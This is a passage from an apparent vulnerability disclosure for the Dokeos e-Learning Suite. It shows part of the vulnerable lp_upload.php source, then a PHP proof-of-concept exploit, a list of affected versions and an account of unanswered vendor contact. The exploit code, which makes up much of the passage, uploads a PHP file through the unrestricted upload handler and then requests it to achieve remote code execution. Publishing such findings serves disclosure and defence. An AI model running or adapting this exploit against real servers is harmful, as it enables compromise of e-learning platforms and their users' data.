			if(!empty($_REQUEST['content_maker'])){$maker = Database::escape_string($_REQUEST['content_maker']);}
			$oScorm->set_proximity($proximity);
			$oScorm->set_maker($maker);
			$oScorm->set_jslib('scorm_api.php');
                        if (api_get_setting('search_enabled') === 'true' && extension_loaded('xapian')) {
                            $searchkey = new SearchEngineManager();
                            $searchkey->course_code = api_get_course_id();
                            $searchkey->idobj = $oScorm->get_id();
                            $searchkey->value = $_REQUEST['terms'];
                            $searchkey->tool_id = TOOL_LEARNPATH;
                            $learn = new learnpath(api_get_course_id(), $oScorm->get_id(), api_get_user_id());
                            $learn->search_engine_save();
                        }
			break;
		case 'aicc':
			require_once('aicc.class.php');
			$oAICC = new aicc();
			$config_dir = $oAICC->import_package($_FILES['user_file']);
			if(!empty($config_dir)){
				$oAICC->parse_config_files($config_dir);
				$oAICC->import_aicc(api_get_course_id());
			}
			$proximity = '';
			if(!empty($_REQUEST['content_proximity'])){$proximity = Database::escape_string($_REQUEST['content_proximity']);}
			$maker = '';
			if(!empty($_REQUEST['content_maker'])){$maker = Database::escape_string($_REQUEST['content_maker']);}
			$oAICC->set_proximity($proximity);
			$oAICC->set_maker($maker);
			$oAICC->set_jslib('aicc_api.php');
			break;
		case 'oogie':
			require_once('openoffice_presentation.class.php');
			//$take_slide_name = empty($_POST['take_slide_name']) ? false : true;
                        $take_slide_name = true;
			$o_ppt = new OpenofficePresentation($take_slide_name);
			$first_item_id = $o_ppt -> convert_document($_FILES['user_file']);
			break;
		case 'woogie':
			require_once('openoffice_text.class.php');
			$split_steps = $_POST['split_steps'];
			$o_doc = new OpenofficeText($split_steps);
			$first_item_id = $o_doc -> convert_document($_FILES['user_file']);
			break;
		case '':
		default:
			return api_failure::set_failure('not_a_learning_path');
	}
} // end if is_uploaded_file
elseif($_SERVER['REQUEST_METHOD'] == 'POST')
{
	//if file name given to get in claroline/upload/, try importing this way
	// A file upload has been detected, now deal with the file...
	//directory creation
	$stopping_error = false;
	//escape path with basename so it can only be directly into the claroline/upload directory
	$s=api_get_path(SYS_PATH).'main/upload/modules/'.basename($_POST['file_name']);
	//get name of the zip file without the extension
	$info = pathinfo($s);
	$filename = $info['basename'];
	$extension = $info['extension'];
	$file_base_name = str_replace('.'.$extension,'',$filename);
	$new_dir = replace_dangerous_char(trim($file_base_name),'strict');
	require_once('learnpath.class.php');
	$type = learnpath::get_package_type($s,basename($s));
	switch($type){
		case 'scorm':
			require_once('scorm.class.php');
			$oScorm = new scorm();
			$manifest = $oScorm->import_local_package($s,$current_dir);
			if(!empty($manifest)){
				$oScorm->parse_manifest($manifest);
				$oScorm->import_manifest(api_get_course_id());
			}
			$proximity = '';
			if(!empty($_REQUEST['content_proximity'])){$proximity = Database::escape_string($_REQUEST['content_proximity']);}
			$maker = '';
			if(!empty($_REQUEST['content_maker'])){$maker = Database::escape_string($_REQUEST['content_maker']);}
			$oScorm->set_proximity($proximity);
			$oScorm->set_maker($maker);
			$oScorm->set_jslib('scorm_api.php');
			break;
		case 'aicc':
			require_once('aicc.class.php');
			$oAICC = new aicc();
			$config_dir = $oAICC->import_local_package($s,$current_dir);
			if(!empty($config_dir)){
				$oAICC->parse_config_files($config_dir);
				$oAICC->import_aicc(api_get_course_id());
			}
			$proximity = '';
			if(!empty($_REQUEST['content_proximity'])){$proximity = Database::escape_string($_REQUEST['content_proximity']);}
			$maker = '';
			if(!empty($_REQUEST['content_maker'])){$maker = Database::escape_string($_REQUEST['content_maker']);}
			$oAICC->set_proximity($proximity);
			$oAICC->set_maker($maker);
			$oAICC->set_jslib('aicc_api.php');
			break;
		case '':
		default:
			return api_failure::set_failure('not_a_learning_path');
	}
}
?>

Exploit Code

<?php
/*
Dokeos e-Learning Suite Community Edition 1.8.x / 2.1.1 / 3.0 /main/newscorm/lp_upload.php Unrestricted
File Upload Remote Code Execution Proof Of Concept
*/
$host = "127.0.0.1";
$port = 80;
$path = $argv[1];
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"user_file\"; filename=\".\";
Content-Type: application/octet-stream
-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"ppt2lp\";
Content-Type: application/octet-stream
1
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/newscorm/lp_upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
sleep(1);
$data="-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"user_file\"; filename=\"suntzu.php\";
Content-Type: application/octet-stream
<?php phpinfo();?>
-----------------------------20300435868914610561974579858
Content-Disposition: form-data; name=\"ppt2lp\";
Content-Type: application/octet-stream
1
-----------------------------20300435868914610561974579858--
";
$pk="POST ".$path."main/newscorm/lp_upload.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Content-Type: multipart/form-data; boundary=---------------------------20300435868914610561974579858\r\n".
    "Content-Length: ".strlen($data)."\r\n".
    "Cookie: cmd=".urlencode($cmd).";\r\n".
    "Connection: Close\r\n\r\n".
    $data;
$fp = fsockopen($host,$port,$e,$err,5);
if (!$fp) {die("not connected");}
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
sleep(2);
$pk="GET ".$path."courses/document/suntzu.php HTTP/1.0\r\n".
    "Host: ".$host."\r\n".
    "Connection: Close\r\n\r\n";
$fp = fsockopen($host,$port,$e,$err,5);
fputs($fp,$pk);
$out="";
while (!feof($fp)){
  $out.=fread($fp,1);
}
fclose($fp);
echo $out;
?>

Affected Version
Dokeos e-Learning Suite Community Edition version 3.0
Dokeos e-Learning Suite Community Edition version 2.1.1
Dokeos e-Learning Suite Community Edition version 1.8.x
Vendor Response
We have sent numerous emails to the Dokeos team, starting from the 24th of February 2015, to this date we got a single response from Bertrand De Praetere asking to send more information to info[@]dokeos.net. Emails sent to info[@]dokeos.net, info[@]dokeos.com and info[@]dokeos.org all bounce back with a User unknown error. Additional emails sent to Bertrand, went unanswered.
Attempts to reach out to the company via Twitter also went unanswered.
We don’t see how to proceed any further beside informing the pubilc of multiple security vulnerabilities in Dokeos without any vendor response or patch.